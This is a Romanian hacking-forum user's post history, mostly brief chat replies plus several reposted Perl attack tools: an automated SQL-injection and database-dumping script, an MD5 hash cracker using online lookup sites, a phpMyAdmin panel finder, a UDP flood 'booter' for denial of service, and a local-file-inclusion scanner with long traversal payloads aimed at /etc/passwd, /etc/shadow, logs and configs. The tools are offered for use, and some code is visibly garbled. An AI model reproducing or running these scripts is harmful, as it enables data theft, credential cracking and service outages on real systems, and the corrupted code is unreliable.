Romania-
Members-
Posts
42 -
Joined
-
Last visited
Everything posted by Romania-
-
[0 day] half bypass icloud Apple iTunes 11.2.2.3
Romania- replied to administration's topic in Exploituri
Nu merge. -
Am dat si eu redeem. , sa vedem .
-
Nu sunt mailuri de rahat ! sunt scoase din db's !
-
nu cred ca merge.
-
Foarte frumos blog-ul ! Bravo tot asa.
-
sursa : http://www.hackforums.net/showthread.php?tid=4347556 , e tot !
-
Salut , eu cu inca un baiat ne-am gandit sa ne facem un canal de youtube Link-ul : https://www.youtube.com/channel/UCk34REjatw70hXzTvkwdn1Q Primul video : Astept parerii si sugestii .
-
Da , exact asa face.
-
Postezi doar pentru +1 ? Ce daca e "Old" ? Isi face treaba !
-
Nu am nevoie sa postez ceva la cereri , postez ca asa vreau
-
#!usr/bin/perl# Automated SQL Injection tool by Red_Hat # Version: 2.0 # Injection Method:UNION Based & STRING based $starts=""; $ends=""; use LWP::Simple; print q{ ____ _ __ / _/___ (_)__ __/ /__ __ / // __ \ / / _ \/ ___/ __/ __ \/ ___/ _/ // / / __/ /__/ /_/ /_/ / / /___/_/ /_/_/ /\___/\___/\__/\____/_/ /___/ Automated SQL Injection tool by Red_Hat }; if (!defined($ARGV[0])){ print q{ Usage : ./injector.pl http://site.com/page.php?id=1 }; exit; } $site=$ARGV[0]; # Check URL. if ($site!~ m /http:/){ print "[!]Invalid URL.\n"; exit; } # URL valid. # Check if site exists. print "[+]Checking if '".$site."' exists...\n"; if (!head($site)){ print "[!]Site does not exist.\n"; exit; } # Site Exists # Check URL Vulnerability print "[+]Checking vulnerability of '".$site."'...\n"; $url=$site; $url=~ s/=/=2'/; #Check URL. if ($url eq $site){ print "[!]Invalid URL.\n"; exit; } # URL Valid. # Pentest URL. $pentest=get($url); $normal=get($site); if ($pentest=~ m /SQL/ or $pentest=~ m /sql_fetch_array()/ or $pentest=~ m /Warning/ or $pentest=~ m /Error:/){ print "[*]Site is vulnerable.\n"; } else{ $retry=get($site."'"); if ($retry=~ m /SQL/){ print "[*]Site is vulnerable.\n"; } else{ print "[!]Site is not vulnerable.\n"; exit; } } # URL Vulnerable. # Check attack Method print "[+]Checking attack method...\n"; $string=get($site."+order+by+red_hat--"); if ($string=~ m /column/ or $string=~ m /mysql_num_rows()/ or $string=~ m /Warning/ or $string=~ m/SQL/){ print "[+]Starting UNION based attack...\n"; } else{ print "[+]Starting STRING based attack...\n"; $starts="'"; $ends="+"; } # Method clear. # Column count. print "[+]Starting column count on '".$site."'...\n"; $column=1; $pentest=get($site.$starts." +order+by+".$column."--".$ends); while ($pentest!~ m /column/){ $column++; $pentest=get($site.$starts."+order+by+".$column."--".$ends); if ($pentest=~ m /Warning/ or $pentest=~ m /mysql_num_rows()/){ goto endwhileforcolumn; } } endwhileforcolumn: $column=$column-1; if ($column==0){ print "[!]Could not extract number of columns ...\n"; exit; } print "[*]Number of columns : ".$column."...\n"; # End count. # Extract vulnerable columns $union=1; $query="+and+0+union+select+concat(0x6c6f6c,1,0x6c6f6c)"; print "[+]Extracting vulnerable columns...\n"; while ($column > $union){ $union++; $query=$query.",concat(0x6c6f6c,$union,0x6c6f6c)"; } $query=$query."--"; $url=$site; $url=~ s/=/=-/; $pentest=get($url.$starts.$query.$ends); @get=split(/lol/,$pentest); $open="".$get[1].""; if ($open-1 < 1){ if ($pentest=~ /The used SELECT statements have a different number of columns/){ print "[!]Error : The used SELECT statements have a different number of columns...\n"; exit; } print "[!]Could not extract vulnerable column...\n"; print "[+]Attempting to bypass WAF...\n"; &method; if ($open-1 < 1){ print "[!]Could not bypass WAF and extract vulnerable columns...\n"; exit; } } print "[*]Injecting through column : ".$open."...\n"; # Columns extracted. # Generated counting string $union=1; $count="1"; while ($union < $column){ $union++; if ($union==$open){ $count=$count.",OPEN"; } else{ $count=$count.",".$union.""; } } # Counting string generated. # Extract version print "[+]Extracting database version...\n"; $query=$url.$starts."+uNiOn+SelECt+".$count."--".$ends; $query=~ s/OPEN/group_concat(0x6c6f6c,version(),0x6c6f6c)/; $pentest=get($query); @get=split(/lol/,$pentest); $version=$get[1]; print "[*]Database version extracted : ".$version."...\n"; # Version extracted. # Make sure version is high enough if ($pentest=~ m/lol4./){ print "[!]MySQL version is too low for a UNION based injection...\n"; exit; } # Version is high enough. # Extract user print "[+]Extracting database user...\n"; $query=$url.$starts."+uNioN+select+".$count."--".$ends; $query=~ s/OPEN/group_concat(0x6c6f6c,user(),0x6c6f6c)/; $pentest=get($query); @get=split(/lol/,$pentest); $user=$get[1]; print "[*]Database user extracted : ".$user."...\n"; # Dtabase user extracted. # Extract current database print "[+]Extracting current database...\n"; $query=$url.$starts."+UnIoN+select+".$count."--".$ends; $query=~ s/OPEN/group_concat(0x6c6f6c,database(),0x6c6f6c)/; $pentest=get($query); @get=split(/lol/,$pentest); $database=$get[1]; print "[*]Database extracted : ".$database."...\n"; # Database user extracted. # Extract tables print "[+]Extracting tables ...\n"; $query=$url.$starts."+uNiOn+select+".$count."+FROM+information_schema.tables+WHERE+table_schema=database()--".$ends; $query=~ s/OPEN/(concat(0x6c6f6c,group_concat(table_name),0x6c6f6c))/; $pentest=get($query); @get=split(/lol/,$pentest); @moREdata){ #!/usr/local/bin/perl open (DUMP, '>>$site.txt'); print DUMP $table_name.">".$col.">".$datapart.">"."'".$_."'\n"; close(DUMP); } } } } print "[*]Database dumped in '$site.txt'\n"; exit; # Dumped! sub method { # Generated counting string $union=1; $count="1"; while ($union < $column){ $union++; $count=$count.",".$union.""; } $change=0; while ($column > $change){ $change++; $query=$count; $query=~ s/$change,/group_concat(0x6c6f6c),/; $pentest=get($url."$starts+/**/uniUNIONon/*+dIstInct+*/selSELECTect/**/+".$query."--".$ends); if ($pentest=~ m/lol/){ $open=$change; return; } } # Counting string generated. } Source : http://www.hackforums.net/showthread.php?tid=3003669
-
#!usr/bin/perl#MD5 Crack T00l © Doddy Hackman 2011 use Tk; use Tk::FileSelect; use Tk::PNG; use LWP::UserAgent; if ($^O eq 'MSWin32') { use Win32::Console; Win32::Console::Free(); } my $nave = LWP::UserAgent->new; $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"); $nave->timeout(5); my $logo = MainWindow->new(-background=>"black",-foreground=>"cyan"); $logo->title("MD5 Crack T00l"); $logo->geometry("700x300+20+20"); $logo->resizable(0,0); my $in = $logo->Photo(-file=>"total.png",-format=>"PNG"); $logo->Label(-image=>$in,-borderwidth=>0)->pack(); $logo->Label(-text=>"Options",-font=>"Impact1",-background=>"black",-foreground=>"cyan")->place(-x=>320,-y=>200); $logo->Button(-text=>"Crack HAsh",-width=>20,-command=>\&single,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-y=>250,-x=>70); $logo->Button(-text=>"Crack Wordlist",-width=>20,-command=>\&word,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-y=>250,-x=>210); $logo->Button(-text=>"About",-width=>20,-command=>\&abot,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-y=>250,-x=>350); $logo->Button(-text=>"Exit",-width=>20,-command=>\&chali,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-y=>250,-x=>490); MainLoop; sub abot { msg("About","Coded By Doddy H"); } sub chali {exit(1);} sub single { my $sin = MainWindow->new(-background=>"black"); $sin->title("MD5 Crack T00l © Doddy Hackman 2011"); $sin->geometry("650x80+20+20"); $sin->resizable(0,0); $sin->Label(-text=>"MD5 : ",-font=>"Impact1",-background=>"black",-foreground=>"cyan")->place(-x=>30,-y=>20); my $hash = $sin->Entry(-width=>32,-background=>"black",-foreground=>"cyan")->place(-y=>24,-x=>82); $sin->Label(-text=>"Result : ",-font=>"Impact1",-background=>"black",-foreground=>"cyan")->place(-x=>290,-y=>20); my $result = $sin->Entry(-width=>32,-background=>"black",-foreground=>"cyan")->place(-y=>24,-x=>350); $sin->Button(-text=>"Crack",-command=>\&cracksingle,-width=>12,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-y=>22,-x=>555); sub cracksingle { my $target = $hash->get(); chomp $target; if (ver_length($target)) { $re = crackit($target); if ($re ne "false01") { $result->configure (-text =>$re); } else { $result->configure (-text =>"Not Found"); } } else { msg("MD5 Crack T00l","Hash incorrect"); } } } sub word { my $more = MainWindow->new(-background=>"black",-foreground=>"cyan"); $more->title("MD5 Crack T00l © Doddy Hackman 2011"); $more->geometry("450x280+50+50"); $more->resizable(0,0); $more->Label(-text=>"File : ",-font=>"Impact1",-background=>"black",-foreground=>"cyan")->place(-y=>10,-x=>10); my $filex = $more->Entry(-width=>40,-background=>"black",-foreground=>"cyan")->place(-y=>13,-x=>50); $more->Button(-text=>"Crack",-width=>10,-command=>\&crackmulti,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-y=>12,-x=>300); $more->Button(-text=>"Browse",-width=>10,-command=>\&bro,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-x=>370,-y=>12); $more->Label(-text=>"MD5",-background=>"black",-foreground=>"cyan")->place(-y=>70,-x=>65); my $hashes = $more->Listbox(-width=>32,-background=>"black",-foreground=>"cyan")->place(-y=>100,-x=>20); $more->Label(-text=>"Result",-background=>"black",-foreground=>"cyan")->place(-y=>70,-x=>300); my $resultados = $more->Listbox(-width=>32,-background=>"black",-foreground=>"cyan")->place(-y=>100,-x=>230); sub bro { $more->update; $browse = $more->FileSelect(-directory => "/"); my $file = $browse->Show; $filex->configure (-text =>$file); } sub crackmulti { $hashes->delete(0.0,"end"); $resultados->delete(0.0,"end"); my $archivo = $filex->get(); open(FILE,$archivo); @leera) { chomp $poco; if (ver_length($poco)) { $hashes->insert("end",$poco); $re = crackit($poco); if ($re ne "false01") { $resultados->insert("end",$re); } else { $resultados->insert("end","Not Found"); } } } sub repes { foreach $test(@_) { push @limpio,$test unless $repe{$test}++; } return @limpio; } } } sub crackit { my %hash = ( 'http://passcracking.com/' => { 'tipo' => 'post', 'variables'=>'{"datafromuser" => $_[0], "submit" => "DoIT"}', 'regex'=>'<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>', }, 'http://md5.hashcracking.com/search.php?md5=' => { 'tipo' => 'get', 'regex' => 'Cleartext of $_[0] is (.*)', }, 'http://www.bigtrapeze.com/md5/' => { 'tipo' => 'post', 'variables'=>'{"query" => $_[0], "submit" => " Crack "}', 'regex' => 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>', }, 'http://opencrack.hashkiller.com/' => { 'tipo' => 'post', 'variables'=>'{"oc_check_md5" => $_[0], "submit" => "Search MD5"}', 'regex' => qq(<\/div><div class="result">$_[0].+)<br\/>), }, 'http://www.hashchecker.com/index.php?_sls=search_hash' => { 'tipo' => 'post', 'variables'=>'{"search_field" => $_[0], "Submit" => "search"}', 'regex' => '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl', }, 'http://victorov.su/md5/?md5e=&md5d=' => { 'tipo' => 'get', 'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">), } ); for my $data(keys %hash) { $logo->update; # if ($hash{$data}{tipo} eq "get") { $code = toma($data.$_[0]); if ($code=~/$hash{$data}{regex}/ig) { savefile("hashes-found.txt",$_[0].":".$1); return $1; } } else { $code = tomar($data,$hash{$data}{variables}); if ($code=~/$hash{$data}{regex}/ig) { savefile("hashes-found.txt",$_[0].":".$1); return $1; } } } return "false01"; } sub msg { my $color_fondo = "black"; #white my $color_letra = "cyan"; #black my ($titulo,$contenido) = @_; my $mensaje = MainWindow->new(-background=>$color_fondo,-foreground=>$color_letra);$mensaje->title($titulo); $mensaje->geometry("200x50+20+20"); $mensaje->resizable(0,0); $mensaje->Label(-text=>$contenido,-font=>"Impact1",-background=>$color_fondo,-foreground=>$color_letra)->place(-y=>15,-x=>20); } sub ver_length { return true if length($_[0]) == 32; } sub toma { return $nave->get($_[0])->content; } sub savefile { open (SAVE,">>logs/".$_[0]); print SAVE $_[1]."\n"; close SAVE; } sub tomar { my ($web,$var) = @_; return $nave->post($web,[%{$var}])->content; } # ¿ The End ? Source : http://www.hackforums.net/showthread.php?tid=3249649
-
Trimite pachete de flood in un vps , cand te loghezi cu putty o sa-ti zica ca nu se poate conecta la acel ip.
-
#!/usr/bin/perl use HTTP::Request; use LWP::UserAgent; system ("cls"); system ("title (Yakamoz)..."); print "\t\t//\n"; print "\t\t__\n"; print "\t\t\t PHPmyadmin Finder v.x.x\n"; print "\t\t\t Coded By !-Bb0yH4cK3r_Dz-!\n"; print "\t\t\t Made In Azarbycan\n"; print "\t\t\t Version In English\n"; print "\t\t__\n"; print "\n\n"; sleep (1); print "\n\n"; print "\t HOST=> (ex: http://www.site.com)\n"; print "\t HOST=> :"; $host=<STDIN>; chomp($host); if($host !~ /http:\/\//) { $host = "http://$host"; }; print "\n\n"; print "\t\t*-*-*-*-*-* Scanning *-*-*-*-*-*\n"; print "\n\n"; @p = ("/phpMyAdmin/", "/phpmyadmin/", "/PMA/", "/admin/", "/dbadmin/", "/mysql/", "/myadmin/", "/phpmyadmin2/", "/phpMyAdmin2/", "/phpMyAdmin-2/", "/php-my-admin/", "/phpMyAdmin-2.2.3/", "/phpMyAdmin-2.2.6/", "/phpMyAdmin-2.5.1/", "/phpMyAdmin-2.5.4/", "/phpMyAdmin-2.5.5-rc1/", "/phpMyAdmin-2.5.5-rc2/", "/phpMyAdmin-2.5.5/", "/phpMyAdmin-2.5.5-pl1/", "/phpMyAdmin-2.5.6-rc1/", "/phpMyAdmin-2.5.6-rc2/", "/phpMyAdmin-2.5.6/", "/phpMyAdmin-2.5.7/", "/phpMyAdmin-2.5.7-pl1/", "/phpMyAdmin-2.6.0-alpha/", "/phpMyAdmin-2.6.0-alpha2/", "/phpMyAdmin-2.6.0-beta1/", "/phpMyAdmin-2.6.0-beta2/", "/phpMyAdmin-2.6.0-rc1/", "/phpMyAdmin-2.6.0-rc2/", "/phpMyAdmin-2.6.0-rc3/", "/phpMyAdmin-2.6.0/", "/phpMyAdmin-2.6.0-pl1/", "/phpMyAdmin-2.6.0-pl2/", "/phpMyAdmin-2.6.0-pl3/", "/phpMyAdmin-2.6.1-rc1/", "/phpMyAdmin-2.6.1-rc2/", "/phpMyAdmin-2.6.1/", "/phpMyAdmin-2.6.1-pl1/", "/phpMyAdmin-2.6.1-pl2/", "/phpMyAdmin-2.6.1-pl3/", "/phpMyAdmin-2.6.2-rc1/", "/phpMyAdmin-2.6.2-beta1/", "/phpMyAdmin-2.6.2-rc1/", "/phpMyAdmin-2.6.2/", "/phpMyAdmin-2.6.2-pl1/", "/phpMyAdmin-2.6.3/", "/phpMyAdmin-2.6.3-rc1/", "/phpMyAdmin-2.6.3/", "/phpMyAdmin-2.6.3-pl1/", "/phpMyAdmin-2.6.4-rc1/", "/phpMyAdmin-2.6.4-pl1/", "/phpMyAdmin-2.6.4-pl2/", "/phpMyAdmin-2.6.4-pl3/", "/phpMyAdmin-2.6.4-pl4/", "/phpMyAdmin-2.6.4/", "/phpMyAdmin-2.7.0-beta1/", "/phpMyAdmin-2.7.0-rc1/", "/phpMyAdmin-2.7.0-pl1/", "/phpMyAdmin-2.7.0-pl2/", "/phpMyAdmin-2.7.0/", "/phpMyAdmin-2.8.0-beta1/", "/phpMyAdmin-2.8.0-rc1/", "/phpMyAdmin-2.8.0-rc2/", "/phpMyAdmin-2.8.0/", "/phpMyAdmin-2.8.0.1/", "/phpMyAdmin-2.8.0.2/", "/phpMyAdmin-2.8.0.3/", "/phpMyAdmin-2.8.0.4/", "/phpMyAdmin-2.8.1-rc1/", "/phpMyAdmin-2.8.1/", "/phpMyAdmin-2.8.2/", "/sqlmanager/", "/mysqlmanager/", "/p/m/a/", "/PMA2005/", "/pma2005/", "/phpmanager/", "/php-myadmin/", "/phpmy-admin/", "/webadmin/", "/sqlweb/", "/websql/", "/webdb/", "/mysqladmin/", "/mysql-admin/"); foreach $myadmin(@p){ $url = $host.$myadmin; $request = HTTP::Request->new(GET=>$url); $useragent = LWP::UserAgent->new(); $response = $useragent->request($request); if ($response->is_success){print "Found : $url\n";} if ($response->content=~ /Access Denied/){print "Found : $url =>[Error & Access Denied]\n";} else {print "NotFound : $myadmin\n";} } Source : http://www.hackforums.net/showthread.php?tid=3836186
-
#!/usr/bin/perl START SCRIPTuse Socket; use strict; if ($#ARGV != 3) { print "Use TimuzBooter like this! <ip> <port> <size> <time>\n\n"; print " port=0: use random ports\n"; print " size=0: use random size between 64 and 1024\n"; print " time=0: UNLIMITED FLOOD, stop with CTRL+C\n"; exit(1); } my ($ip,$port,$size,$time) = @ARGV; my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n"; $endtime = time() + ($time ? $time : 1000000); socket(flood, PF_INET, SOCK_DGRAM, 17); print "Timuz is now flooding $ip " . ($port ? $port : "random") . " port with " . ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n"; print "Break with Ctrl-C\n" unless $time; for (;time() <= $endtime;) { $psize = $size ? $size : int(rand(1024-64)+64) ; $pport = $port ? $port : int(rand(65500))+1; send(flood, pack("a$psize","saf3e368wumu7repa4uxa2rucHaphubeGamu9R3373af8Us3eTHUgepRAfAS2c6CHAyegURepUbre94w?RAwruS2uhU8UXasp7spasw7sw8h7wapr5spabekumu8ast8StRadusASacu6a6e5efrAzeWucH5cumus?waraca7hAbrewrecujetrafefadrawruW4ayAjU37sPUseBr4cRuPhacrUtrf0azrrQlLd1xdSjjtdwX?fjyXArkExrVxVlulxssmr0u0lRscLAqjkZB43ajPRmAH4JQ6T1SOZPFmndbEi4IUOIuUmPCXI044f73u?GIeJHs8lh36KpJausXqykL2idPx1j120Rra2DI1kmGgde5LI4TJMuQvrotBR3Fli0g1uwt74ALKfRzHY?ZJR0wkqNncUY178LcbTFtx5n7MF4zX3P4Z3mUVkAebkXqDv6EETKTNBes9kW2QBEBLeKcBH4cUAQ8Y30?mdGozVRNJq3wtDMmgtzCibqXEEp3cZATTOMqIDxn3t5HYdspEofPneXpPTUE0TBN8oRAp4DjSlhfDAVm?fNgbdSbTHWT7Y7gVi6kgrNXKCM64V4kOGvesVr0SZU3k83r6qAr3w4d26kurU9eBRa53cEtRaQaCHEva?cu4PETRaf3yepHAk9FAgU2at8GEMEZAwUjaDesTufu2r3DaPhedR7quCru7reketc8atacAStuGeFruN?uTHaWuspabr6drARa4r4cApRewuFRaD3qAXAsPeMAChudRUWxuq73R5dra8epre4tasp8craq677wru5?asuq3tradede8rethuSwAfespastuduypUt2fudra5utanewrat83rucruyuje6aphuprUWawrawr4th?a922HeSpU8acacu5hastuprecevasteberepagas6ejuje2heswugukerebrajeVeswerajAdagecah3?phE9EsutaFrU6erathu2u6utraseCrEjehaChuphEchepeswutrezu86pret6afa"), 0, pack_sockaddr_in($pport, $iaddr));} #!/usr/bin/perl END SCRIPT Source: http://www.hackforums.net/showthread.php?tid=4080989
-
#!/usr/bin/perl#(crasher_1412@yahoo.com) # #special thanks: mywisdom,gunslinger(rock n rool man),flyff_666(root admin in devilzc0de, #petimati,spykit(admin in irc.dal.net and irc.byroe.net #devilzc0de),gonzhack martin(my brother),7460(thanks for bcktrack 4) #to be contributor use LWP::UserAgent; use HTTP::Request; system('clear','cls');print "=======================================================\n"; print "= =\n"; print "= LFI_scanner v 0.1 =\n"; print "= ~[kiddies here makin trouble]~ =\n"; print "= =\n"; print "= e.g: input the site: www.memek.com/index.php?id= =\n"; print "= =\n"; print "===================bec0de contributor==================\n\n"; print '>';chomp($link = <STDIN>);if($link !~ /http:\/\//) { $link = "http://$link"; } #httpd type scanprint "\n>press [enter] to check the version of httpd[...]\n"; $httpd =<STDIN>; $host = $link; $useragent = LWP::UserAgent->new; $resp = $useragent->head($host); print $resp->headers_as_string;print "\n>press [enter] to check the vulnerability in lfi[...]\n"; $start =<STDIN>; @vuls = ('/etc/passwd', '../etc/passwd', '../../etc/passwd', '../../../etc/passwd', '../../../../etc/passwd', '../../../../../etc/passwd', '../../../../../../etc/passwd', '../../../../../../../etc/passwd', '../../../../../../../../etc/passwd', '../../../../../../../../../etc/passwd', '../../../../../../../../../../etc/passwd', '../../../../../../../../../../../etc/passwd', '../etc/passwd%00', '../../etc/passwd%00', '../../../etc/passwd%00', '../../../../etc/passwd%00', '../../../../../etc/passwd%00', '../../../../../../etc/passwd%00', '../../../../../../../etc/passwd%00', '../../../../../../../../etc/passwd%00', '../../../../../../../../../etc/passwd%00', '../../../../../../../../../../etc/passwd%00', '../../../../../../../../../../../etc/passwd%00', '/etc/passwd', '/etc/shadow', '/etc/group', '/etc/security/group', '/etc/security/passwd', '/etc/security/user', '/etc/security/environ', '/etc/security/limits', '/usr/lib/security/mkuser.default', '/apache/logs/access.log', '/apache/logs/error.log', '/apache/logs/access.log', '/apache/logs/error.log', '/apache/logs/access.log', '/etc/httpd/logs/acces_log', '/etc/httpd/logs/acces.log', '/etc/httpd/logs/error_log', '/etc/httpd/logs/error.log', '/var/www/logs/access_log', '/var/www/logs/access.log', '/usr/local/apache/logs/access_ log', '/usr/local/apache/logs/access. log', '/var/log/apache/access_log', '/var/log/apache2/access_log', '/var/log/apache/access.log', '/var/log/apache2/access.log', '/var/log/access_log', '/var/log/access.log', '/var/www/logs/error_log', '/var/www/logs/error.log', '/usr/local/apache/logs/error_log', '/usr/local/apache/logs/error.log', '/var/log/apache/error_log', '/var/log/apache2/error_log', '/var/log/apache/error.log', '/var/log/apache2/error.log', '/var/log/error_log', '/var/log/error.log', '/var/log/httpd/access_log', '/var/log/httpd/error_log', '/var/log/httpd/access_log', '/var/log/httpd/error_log', '/apache/logs/error.log', '/apache/logs/access.log', '/apache/logs/error.log', '/apache/logs/access.log', '/apache/logs/error.log', '/apache/logs/access.log', '/apache/logs/error.log', '/apache/logs/access.log', '/apache/logs/error.log', '/apache/logs/access.log', '/apache2/logs/error.log', '/apache2/logs/access.log', '/apache2/logs/error.log', '/apache2/logs/access.log', '/apache2/logs/error.log', '/apache2/logs/access.log', '/apache2/logs/error.log', '/apache2/logs/access.log', '/apache2/logs/error.log', '/apache2/logs/access.log', '/logs/error.log', '/logs/access.log', '/logs/error.log', '/logs/access.log', '/logs/error.log', '/logs/access.log', '/logs/error.log', '/logs/access.log', '/logs/error.log', '/logs/access.log', '/etc/httpd/logs/acces_log', '/etc/httpd/logs/acces.log', '/etc/httpd/logs/error_log', '/etc/httpd/logs/error.log', '/usr/local/apache/logs/access_log', '/usr/local/apache/logs/access.log', '/usr/local/apache/logs/error_log', '/usr/local/apache/logs/error.log', '/usr/local/apache2/logs/access_log', '/usr/local/apache2/logs/access.log', '/usr/local/apache2/logs/error_log', '/usr/local/apache2/logs/error.log', '/var/www/logs/access_log', '/var/www/logs/access.log', '/var/www/logs/error_log', '/var/www/logs/error.log', '/var/log/httpd/access_log', '/var/log/httpd/access.log', '/var/log/httpd/error_log', '/var/log/httpd/error.log', '/var/log/apache/access_log', '/var/log/apache/access.log', '/var/log/apache/error_log', '/var/log/apache/error.log', '/var/log/apache2/access_log', '/var/log/apache2/access.log', '/var/log/apache2/error_log', '/var/log/apache2/error.log', '/var/log/access_log', '/var/log/access.log', '/var/log/error_log', '/var/log/error.log', '/opt/lampp/logs/access_log', '/opt/lampp/logs/error_log', '/opt/xampp/logs/access_log', '/opt/xampp/logs/error_log', '/opt/lampp/logs/access.log', '/opt/lampp/logs/error.log', '/opt/xampp/logs/access.log', '/opt/xampp/logs/error.log', '/Program Files\Apache Group\Apache\logs\access.log', '/Program Files\Apache Group\Apache\logs\error.log', '/apache/logs/error.log', '/apache/logs/access.log', '/apache/logs/error.log', '/apache/logs/access.log', '/apache/logs/error.log', '/apache/logs/access.log', '/apache/logs/error.log', '/apache/logs/access.log', '/apache/logs/error.log', '/apache/logs/access.log', '/apache/logs/error.log', '/apache/logs/access.log', '/logs/error.log', '/logs/access.log', '/logs/error.log', '/logs/access.log', '/logs/error.log', '/logs/access.log', '/logs/error.log', '/logs/access.log', '/logs/error.log', '/logs/access.log', '/logs/error.log', '/logs/access.log', '/etc/httpd/logs/acces_log', '/etc/httpd/logs/acces.log', '/etc/httpd/logs/error_log', '/etc/httpd/logs/error.log', '/var/www/logs/access_log', '/var/www/logs/access.log', '/usr/local/apache/logs/access_log', '/usr/local/apache/logs/access.log', '/var/log/apache/access_log', '/var/log/apache/access.log', '/var/log/access_log', '/var/www/logs/error_log', '/var/www/logs/error.log', '/usr/local/apache/logs/error_log', '/usr/local/apache/logs/error.log', '/var/log/apache/error_log', '/var/log/apache/error.log', '/var/log/access_log', '/var/log/error_log', '/usr/local/apache/conf/httpd.conf', '/usr/local/apache2/conf/httpd.conf', '/etc/httpd/conf/httpd.conf', '/etc/apache/conf/httpd.conf', '/usr/local/etc/apache/conf/httpd.conf', '/etc/apache2/httpd.conf', '/usr/local/apache/conf/httpd.conf', '/usr/local/apache2/conf/httpd.conf', '/usr/local/apache/httpd.conf', '/usr/local/apache2/httpd.conf', '/usr/local/httpd/conf/httpd.conf', '/usr/local/etc/apache/conf/httpd.conf', '/usr/local/etc/apache2/conf/httpd.conf', '/usr/local/etc/httpd/conf/httpd.conf', '/usr/apache2/conf/httpd.conf', '/usr/apache/conf/httpd.conf', '/usr/local/apps/apache2/conf/httpd.conf', '/usr/local/apps/apache/conf/httpd.conf', '/etc/apache/conf/httpd.conf', '/etc/apache2/conf/httpd.conf', '/etc/httpd/conf/httpd.conf', '/etc/http/conf/httpd.conf', '/etc/apache2/httpd.conf', '/etc/httpd/httpd.conf', '/etc/http/httpd.conf', '/etc/httpd.conf', '/opt/apache/conf/httpd.conf', '/opt/apache2/conf/httpd.conf', '/var/www/conf/httpd.conf', '/private/etc/httpd/httpd.conf', '/private/etc/httpd/httpd.conf.default', '/Volumes/webBackup/opt/apache2/conf/httpd.conf', '/Volumes/webBackup/private/etc/httpd/httpd.conf', '/Volumes/webBackup/private/etc/httpd/httpd.conf.default', '/Program Files\Apache Group\Apache\conf\httpd.conf', '/Program Files\Apache Group\Apache2\conf\httpd.conf', '/Program Files\xampp\apache\conf\httpd.conf', '/usr/local/php/httpd.conf.php', '/usr/local/php4/httpd.conf.php', '/usr/local/php5/httpd.conf.php', '/usr/local/php/httpd.conf', '/usr/local/php4/httpd.conf', '/usr/local/php5/httpd.conf', '/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf', '/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf', '/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf', '/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php', '/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php', '/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php', '/usr/local/etc/apache/vhosts.conf', '/etc/php.ini', '/bin/php.ini', '/etc/httpd/php.ini', '/usr/lib/php.ini', '/usr/lib/php/php.ini', '/usr/local/etc/php.ini', '/usr/local/lib/php.ini', '/usr/local/php/lib/php.ini', '/usr/local/php4/lib/php.ini', '/usr/local/php5/lib/php.ini', '/usr/local/apache/conf/php.ini', '/etc/php4.4/fcgi/php.ini', '/etc/php4/apache/php.ini', '/etc/php4/apache2/php.ini', '/etc/php5/apache/php.ini', '/etc/php5/apache2/php.ini', '/etc/php/php.ini', '/etc/php/php4/php.ini', '/etc/php/apache/php.ini', '/etc/php/apache2/php.ini', '/web/conf/php.ini', '/usr/local/Zend/etc/php.ini', '/opt/xampp/etc/php.ini', '/var/local/www/conf/php.ini', '/etc/php/cgi/php.ini', '/etc/php4/cgi/php.ini', '/etc/php5/cgi/php.ini', '/php5\php.ini', '/php4\php.ini', '/php\php.ini', '/PHP\php.ini', '/WINDOWS\php.ini', '/WINNT\php.ini', '/apache\php\php.ini', '/xampp\apache\bin\php.ini', '/NetServer\bin\stable\apache\php.ini', '/home2\bin\stable\apache\php.ini', '/home\bin\stable\apache\php.ini', '/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini', '/usr/local/cpanel/logs', '/usr/local/cpanel/logs/stats_log', '/usr/local/cpanel/logs/access_log', '/usr/local/cpanel/logs/error_log', '/usr/local/cpanel/logs/license_log', '/usr/local/cpanel/logs/login_log', '/usr/local/cpanel/logs/stats_log', '/var/cpanel/cpanel.config', '/var/log/mysql/mysql-bin.log', '/var/log/mysql.log', '/var/log/mysqlderror.log', '/var/log/mysql/mysql.log', '/var/log/mysql/mysql-slow.log', '/var/mysql.log', '/var/lib/mysql/my.cnf', '/etc/mysql/my.cnf', '/etc/my.cnf', '/etc/logrotate.d/proftpd', '/www/logs/proftpd.system.log', '/var/log/proftpd', '/etc/proftp.conf', '/etc/protpd/proftpd.conf', '/etc/vhcs2/proftpd/proftpd.conf', '/etc/proftpd/modules.conf', '/var/log/vsftpd.log', '/etc/vsftpd.chroot_list', '/etc/logrotate.d/vsftpd.log', '/etc/vsftpd/vsftpd.conf', '/etc/vsftpd.conf', '/etc/chrootUsers', '/var/log/xferlog', '/var/adm/log/xferlog', '/etc/wu-ftpd/ftpaccess', '/etc/wu-ftpd/ftphosts', '/etc/wu-ftpd/ftpusers', '/usr/sbin/pure-config.pl', '/usr/etc/pure-ftpd.conf', '/etc/pure-ftpd/pure-ftpd.conf', '/usr/local/etc/pure-ftpd.conf', '/usr/local/etc/pureftpd.pdb', '/usr/local/pureftpd/etc/pureftpd.pdb', '/usr/local/pureftpd/sbin/pure-config.pl', '/usr/local/pureftpd/etc/pure-ftpd.conf', '-/etc/pure-ftpd.conf', '/etc/pure-ftpd/pure-ftpd.pdb', '/etc/pureftpd.pdb', 